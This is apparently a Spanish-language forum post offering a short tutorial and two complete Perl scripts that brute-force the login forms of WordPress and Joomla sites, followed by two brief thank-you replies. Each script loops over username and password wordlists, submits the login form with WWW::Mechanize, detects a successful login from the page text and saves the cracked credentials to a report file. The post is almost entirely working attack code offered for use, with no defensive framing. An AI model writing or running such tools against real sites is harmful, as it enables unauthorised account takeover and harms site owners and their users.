Pequeño tutorial de como construir scripts con Perl para explotar los formularios de login de Wordpress y Joomla mediante fuerza bruta.
wordpress-login.pl
#!c:/strawberry/perl/bin/perl.exe
#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)"); binmode(STDIN, ":encoding(cp850)");
use WWW::Mechanize;
use strict;
#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];
if (!@ARGV)
{
print "wordpress-login.pl <url> <admin> <password> opcional<reporte>"; }
else
{
my $mechanize = WWW::Mechanize->new();
#url de destino
$mechanize->get($url);
#Abrir el diccionario para admin
open(ADMIN
, "<", $admin) || die("Error al abrir el diccionario para admin"); while(<ADMIN>)
{
my $adm = $_;
#Abrir el diccionario para password
open(PASSWORD
, "<", $password) || die("Error al abrir el diccionario para password"); while (<PASSWORD>)
{
#Enviar el formulario
$mechanize->submit_form
(
form_id => "loginform",
fields
=> {log => $adm, pwd
=> $_} );
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Bienvenido/ || $content =~ /Welcome/)
{
print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n"; if ($reporte)
{
open(REPORTE
, ">", $reporte); print REPORTE
"¡¡¡¡DATOS DE ACCESO!!!! $adm:$_"; print "####Datos guardados en $reporte####\n"; }
}
}
}
}
2p9L2WcGmmQ
joomla-login.pl
#!c:/strawberry/perl/bin/perl.exe
#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)"); binmode(STDIN, ":encoding(cp850)");
use WWW::Mechanize;
use strict;
#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];
if (!@ARGV)
{
print "joomla-login.pl <url> <admin> <password> opcional<reporte>"; }
else
{
my $mechanize = WWW::Mechanize->new();
#url de destino
$mechanize->get($url);
#Abrir el diccionario para admin
open(ADMIN
, "<", $admin) || die("Error al abrir el diccionario para admin"); while(<ADMIN>)
{
my $adm = $_;
#Abrir el diccionario para password
open(PASSWORD
, "<", $password) || die("Error al abrir el diccionario para password"); while (<PASSWORD>)
{
#Enviar el formulario
$mechanize->submit_form
(
form_id => "form-login",
fields => {username => $adm, passwd => $_}
);
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Panel de Control/ || $content =~ /Control Panel/)
{
print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n"; if ($reporte)
{
open(REPORTE
, ">", $reporte); print REPORTE
"¡¡¡¡DATOS DE ACCESO!!!! $adm:$_"; print "####Datos guardados en $reporte####\n"; }
}
}
}
}
R0IBBlyGjq8
Excelentes tutoriales, muchas gracias por compartirlos.
No hay de que amigo :UND3R:, un placer compartilo en este gran foro, encuentro muchas cosas interesantes en este sitio, un saludo. ;D